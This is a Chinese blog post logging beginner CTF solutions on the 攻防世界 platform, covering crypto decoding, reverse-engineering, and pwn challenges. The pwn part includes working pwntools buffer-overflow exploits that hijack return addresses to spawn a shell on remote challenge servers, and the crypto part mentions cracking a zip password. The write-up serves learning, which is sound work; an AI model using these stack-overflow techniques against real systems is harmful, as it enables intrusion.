攻防世界 刷题记录

写在前面：

Crtpto：老师要求这两天只能写密码学的题，于是顺便记录一下攻防世界的密码学题目（新手模式），大都难度不大，主要是做一下有个印象，顺便记录相应的在线解码网站，方便下次直接使用。

pwn、re：到了自己最不擅长的方向了，看着别人的writeup，尽量去学习吧

一些图片老师要求截全屏，可能会有点影响观看

Crypto

base64

顾名思义，一个base加密的密文，解码就得到flag了

BASE64编码解码 - Bugku CTF

Caesar

Caesar的英语意思就是凯撒，直接放在凯撒密文解密网站上解密，然后枚举偏移量，得到flag

凯撒(Caesar)加密/解密 - Bugku CTF

Morse

Morse意思就是莫尔斯，哈哈哈哈哈哈，还没打开题目就知道是莫尔斯密文了，这就是翻译题目的好处

但是打开题目却是一段只有0和1的密文

1	`11 111 010 000 0 1010 111 100 0 00 000 000 111 00 10 1 0 010 0 000 1 00 10 110`

和莫尔斯密文的格式不一样，因此试一下将1改成 - ，将0改成 .

空格的地方用/隔开

1	`--/---/.-./..././-.-./---/-.././../.../.../---/../-./-/./.-././.../-/../-./--.`

得到

1	`M O R S E C O D E I S S O I N T E R E S T I N G`

改一下flag格式（记得全为小写），得到flag

在线摩斯电码加密解密 - 码工具 (matools.com)

Broadcast

题目意思是广播，暂时没什么想法，打开题目看看，下载下来压缩包打开

里面有一个.py文件，打开查看代码，拿到了flag

hidden key

还是把压缩包下载下来，解压并打开，一个.py文件，老样子先打开看一下，

直接运行还会报错，因此需要下载Crypto这个module

1	`pip install pycryptodome -i https://pypi.tuna.tsinghua.edu.cn/simple`

装好后，构造payload，在运行一下，得到flag

import  random
import hashlib
from Crypto.Util.number import *

# [140, 96, 112, 178, 38, 180, 158, 240, 179, 202, 251, 138, 188, 185, 23, 67, 163, 22, 150, 18, 143, 212, 93, 87, 209, 139, 92, 252, 55, 137, 6, 231, 105, 12, 65, 59, 223, 25, 179, 101, 19, 215]
# 2669175714787937

enc = [140, 96, 112, 178, 38, 180, 158, 240, 179, 202, 251, 138, 188, 185, 23, 67, 163, 22, 150, 18, 143, 212, 93, 87, 209, 139, 92, 252, 55, 137, 6, 231, 105, 12, 65, 59, 223, 25, 179, 101, 19, 215]

def rand(rng):
    return rng - random.randrange(rng)

for idx in range(2669175714787937 << 12, (2669175714787937 << 12) + 4096):
  key = long_to_bytes(idx)
  random.seed(int(hashlib.md5(key).hexdigest(), 16))
  flag = ""
  for i in range(len(enc)):
      rand(256)
      xor = enc[i] ^ rand(256)
      flag += chr(xor)
  #
  if 'flag' in flag:
    print("flag is: {}\nkey is: {}".format(flag, idx))

flag_in_your_hand

在浏览器运行那个html文件，随便输入，发现没什么头绪，直接审计代码，js代码的一部分

var a = [118, 104, 102, 120, 117, 108, 119, 124, 48,123,101,120];
   if (s.length == a.length) {
       for (i = 0; i < s.length; i++) {
           if (a[i] - s.charCodeAt(i) != 3)
               return ic = false;
       }
       return ic = true;

意思是我们需要输入长度与a一致，每个数字减3 得到的ascii 码所对应的字符

1	`115，101，99，117，114，105，116，121，45，120，98，117`

接着去将其转码成字符 ASCII码转字符串 - ASCII码 (asciim.cn)

在html页面输入，得到flag

flag_in_your_hand1

打开还是一个html一个js文件

感觉跟flag_in_your_hand那题差不多呀

老样子，还是审计代码

var a = [118, 104, 102, 120, 117, 108, 119, 124, 48,123,101,120];
    if (s.length == a.length) {
        for (i = 0; i < s.length; i++) {
            if (a[i] - s.charCodeAt(i) != 3)
                return ic = false;
        }
        return ic = true;
    }
    return ic = false;
}

这不是和上一题一模一样吗？离谱

还是传入security-xbu，得到flag

真的离谱，答案都一样

不仅仅是Morse

打开是一串莫尔斯密文，解密后，还是一段密文

可以看出，开头说的是may be have another decode，再看下面那只有AB的密文，不难看出是培根密文，于是培根解密（采用不同编码的解密方式）得到flag

培根密码解密_培根密码转换器-ME2在线工具 (metools.info)

safer-than-rot13

看题目可以知道，有考察rot13加密，接着下载安装包，打开看看，一段看似无规律的密文，先rot13看看 CTF在线工具-在线Rot13密码

接着放到密文爆破网站上爆破（后来才知道是词频分析在线工具hhhhh） quipqiup

感觉第一个最像答案，翻译一下，发现flag

1	`no_this_is_not_crypto_my_dear`

告诉你个秘密

1	`636A56355279427363446C4A49454A7154534230526D684356445A31614342354E326C4B4946467A5769426961453067`

一眼16进制，先16进制转字符， 16进制转换

1	`cjV5RyBscDlJIEJqTSB0RmhCVDZ1aCB5N2lKIFFzWiBiaE0g`

在base64看看什么情况，还是看不出什么

1	`r5yG lp9I BjM tFhB T6uh y7iJ QsZ bhM`

看了别人的WP才知道，是键盘密码，没找到解密网站，但找到了加密原理，亲自动手解密，得到flag

1	`TONGYUAN （小写行不通）`

你猜猜

还是一眼16进制，转码发现是乱码，但有一部分是flag.txt,再去看看原来的密文，发现为什么前面的504B好像哪里见过，查了一下原来是zip的文件头（原来协会的wiki讲过了，我给忘了）

于是将16进制码，复制到文本上，再将后缀改成zip，变成压缩包

好吧，这样好像行不通

网上找了一下方法，再加上自己的摸索，将那串16进制码复制到WinHex的编辑的剪切板粘贴，然后以zip的形式保存到桌面

发现解压需要密码

用ARCHPR尝试爆破

破出密码是123456，接着输入密码解压，打开flag.txt文件,得到flag

Railfence

看题目的描述，已经密文的格式，不难猜出是栅栏密码

放在栅栏密码解码网站上解码（栏目数5），得到flag

栅栏密码在线加密

cr3-what-is-this-encryption

参考文章

题目有p，q，e,联想到了RSA加密

大致思路：

先把p,q,e转成十进制，再根据公式求出n,d,m

n=p*q
φ(N) = (p-1)(q-1)
e * d % φ(N) = 1（d是私钥，e是公钥）
m＝c^ d mod n (m是明文）

网上找了个脚本

跑一下就得到flag了

[简单] 初识RSA

题目自己告诉我们是RSA了，打开是一个python的代码，

根据代码，对之前找的脚本稍微修改一下，运行就能得到flag了

baigeiRSA

还是一道RSA题目，打开给了一个out文件，和一个python代码，内容如下

现在已知e、n、c的值，但还需要得到q和p的值，因为n=q*p

所以可以通过yafu工具和在线网站算出来，这里使用的是网站http://www.factordb.com/index.php（1024位不行）

得到

1 2	`q = 274539690398523616505159415195049044439 p = 322368694010594584041053487661458382819`

将这两个值带入准备好的脚本，再运行，得到flag

工业协议分析2

题目描述已经说了有流量异常，下载下来是一个.pcapng文件，于是用Wireshark打开查看流量，但是太多了，一个一个找太慢了，官方wp写的是长度12，89，104，105，131，137对应的流量包是异常点，但从别人的wp中我了解到，可以直接查找flag这个字段，查不到的话，再试看看查flag的16进制666c6167

果然查到了

将匹配到的字段复制下来

1	`666c61677b37466f4d3253746b6865507a7d`

16进制转成字符串得到flag

cr4-poor-rsa

下载下来压缩包，解压得到一个key.pub一个flag.b64，简单看了一下，说实话，没什么思路，于是看了别人的wp

先来一个脚本，从key.pub中解出

1 2	`n = 833810193564967701912362955539789451139872863794534923259743419423089229206473091408403560311191545764221310666338878019 e = 65537`

在从factordb网站中由n分离出p和q

1 2	`p = 863653476616376575308866344984576466644942572246900013156919 q = 965445304326998194798282228842484732438457170595999523426901`

接着将这些都填入脚本，运行得到flag

shanghai

题目描述已经告诉我们是维吉利亚密码了，于是将压缩包下载下来，打开

直接放在在线维吉利亚密码网站解密，发现flag

解密网站https://guballa.de/vigenere-solver

Re（逆向）

insanity

将题目文件下载下来，右键，选择打开方式为记事本打开，就可以发现flag。

1	`9447{This_is_a_flag}`

re1

下载下来一个应用程序，先直接运行一下看看，

让我们输入flag，随便输入几个字母看看，发现flag不对就不能看到flag，接着就退出程序了

于是先丢进去软件查一下壳吧

发现没壳，32位的程序，那就好办了，接着扔进IDA（32）看看

按tab，然后点击ok，发现一个printf(aFlag_0);，于是双击看看

可以看到了两组十六进制字符，有点可疑，于是右键转换，反转一下字符，拼接起来，就能得到flag了

在线字符串反转

game

还是个可执行程序，运行看看

算了，让我玩游戏，既然是re，还是不玩了，走正常的流程。老样子，先查壳

依旧是32位，没壳，于是丢进ida（32）

找到程序入口，按tab，在结尾发现sub_457AB4（）函数，双击进入，跟着查看另一个函数，发现想要的flag内容，这个应该是最后输出flag的地方

搜了一下，发现这个代码意思是v3以下的和v60以上异或在和0x13异或

难受，发现还得写个代码来输出flag的内容，于是干脆用python写一下，运行让它输出flag

a=[123,32,18,98,119,108,65,41,124,80,125,38,124,111,74,49,83,108,94,108,84,6,96,83,44,121,104,110,32,95,117,101,99,123,127,119,96,48,107,71,92,29,81,107,90,85,64,12,43,76,86,13,114,1,117,126,0]
b=[ 18, 64, 98, 5, 2, 4, 6, 3, 6, 48, 49, 65, 32, 12, 48, 65, 31, 78, 62, 32, 49, 32, 1, 57, 96, 3, 21, 9, 4, 62, 3, 5, 4, 1, 2, 3, 44, 65, 78, 32, 16,97,54,16,44,52,32,64,89,45,32,65,15,34,18,16,0]
l=len(a)
for i in range(l):
	ch=chr(a[i]^b[i]^0x13)
	print(ch,end="")

Hello, CTF

依旧是老样子，下载下来，先查壳

还是32位，没壳，接下来还是丢IDA看看

tab查看代码，直接发现一个16进制密文

直接放到在线16进制转字符串网站，转换得到flag（就是这个flag格式有点奇怪，一开始我是我相信它是flag的）

open-source

这次下载下来是一个从，语言代码，打开审计一下

代码需要让它不满足满足：(first != 0xcafe）和(second % 5 == 3 || second % 17 != 8)

于是令argv[1] = 0xcafe、argv[2] = 25和argv[3] = “h4cky0u”

由此构造出新的代码，运行得到flag

#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
    int first = 0xcafe;
    int second = 25;
    argv[3] = "h4cky0u";
    unsigned int hash = first * 31337 + (second % 17) * 11 + strlen(argv[3]) - 1615810207;
    printf("Get your key: ");
    printf("%x\n", hash);
    system("PAUSE");
    return 0;
}

simple-unpack

题目说了是一个加壳的二进制文件，但是我这个好像是非预期解

就是右击文件，选择记事本的打开方式打开，Ctrl+f 搜索flag，发现字符串flag

但是虽然能发现flag，但有一部分是乱码的，于是用winhex打开，就能得到正确的字符串了

好像还是不行，需要把那个乱码的部分去掉，才是正确的flag

easyRE1

下载下来压缩包，解压得到俩文件，一个32位一个64位，随便选一个用记事本方式打开，直接就看到flag了，而且不用转字符串，需要包上flag{}

lucknum

直接拖进IDA64位打开，tab转换成伪代码，直接得到flag

1000Click

下载下来，可以直接运行，点击1000次就能得到flag了，

但还是想试试逆向的方式解题，先查壳

32位，没壳，丢进IDA32

点search搜索flag，就找到flag了

Pwn

get_shell

这个应该算个入门题，甚至不用去分析它的源码附件，打开kali，nc 连接靶机地址就出来了flag

1 2	`nc 61.147.171.105 63826 cat flag`

hello pwn

先下载下来附件，在nc连接看看

发现不能直接执行指令，乱输也是直接退出，因此把下载下来的附件丢进ida看看

分析main函数这个入口

if ( dword_60106C == 1853186401 )
sub_400686()

发现如果if成立，就能执行该sub_400686()函数，从而cat flag.txt输出flag

再观察unk_601068函数，发现60106C和601068的偏移为4，而且1853186401转化为字符是nuaa

因此，只要输入后4位为aaun（反着来）的一个8位的字符串就能得到flag

level0

详细的wp

关于checksec的使用：

下载下来附件，拖进kali，先checksec一下

1	`checksec 291721f42a044f50a2aead748d539df0`

然后用64位的IDA打开，分析一下

可以看到调用了一个vulnerable_function函数，进去看看，

不是很懂，看一下别人的wp，思路就是：先把buf填满，然后64位ret填8个字符，然后通过字符串找到system函数的地址，输入，实现调用。

exp：

from pwn import *

r = remote('61.147.171.105',60060) 

func_addr = 0x0400596
payload = b'a'*0x80 + b'a'*8 + p64(func_addr)

r.sendline(payload)
r.interactive()

接着拿到shell，后得到了flag

level2

把附件下载下来，然后用checksec检查一下，发现这次开启了NX保护，并且是32位的

于是用32位的IDA打开看看，mian函数中没什么东西，就vulnerable_function这个可以的地方，于是进入vulnerable_function看看，发现read函数，不难看出这个就是溢出点

然后分别在字符串窗口找到read函数地址，和在import窗口找到system地址

偏移量为0x88+4，构造出payload

from pwn import *

io = remote('220.249.52.133',44159)
sys_addr = 0x0804845C
sh_addr = 0x0804A024

payload = b'A' * (0x88 + 0x4) + p32(sys_addr) + p32(sh_addr)
io.sendlineafter("Input:\n",payload)
io.interactive()

接着就是一样的步骤，就能拿到flag了

pwnstack

下载压缩包解压，打开发现有pwn2和libc.so.6

先用checksec检查一下pwn2

开启了NX，并且是64位的，丢进IDA64看看

发现vuln（）函数的read（）存在溢出，需要覆盖vuln的返回地址，使其指向system(‘/bin/sh’)即可，于是计算偏移量0xA0，找到/bin/sh的地址

构造exp

from pwn import *

io=remote("61.147.171.105",57706)

    payload=b'A'*0xa0+b'A'*8+p64(0x400762)
io.send(payload)

io.interactive()

拿到flag

cgpwn2

下载下来，checkesc检查一下

开启了NX保护的32位文件，用ida32位打开

通过查看伪代码，可以找到main中的hello（）函数存在溢出漏洞

于是我们可以利用栈溢出返回地址到system函数处，然后给他一个/bin/sh字符串就能拿到shell

然后构造出脚本，运行得到flag

from pwn import *

io = remote('61.147.171.105',64241)

system = 0x08048420
bin_sh = 0x0804A080

io.recvuntil("please tell me your name")
io.sendline('/bin/sh')
io.recvuntil("hello,you can leave some message here:")
payload = b'a' * (0x26 + 4) +  p32(system) + b'aaaa' + p32(bin_sh)
io.sendline(payload)
io.interactive()

刷题记录

#CTF #Crypto #Pwn #Reverse

攻防世界刷题记录

https://www.smal1.black/攻防世界刷题记录.html

作者

Small Black

发布于

2023年3月1日

许可协议

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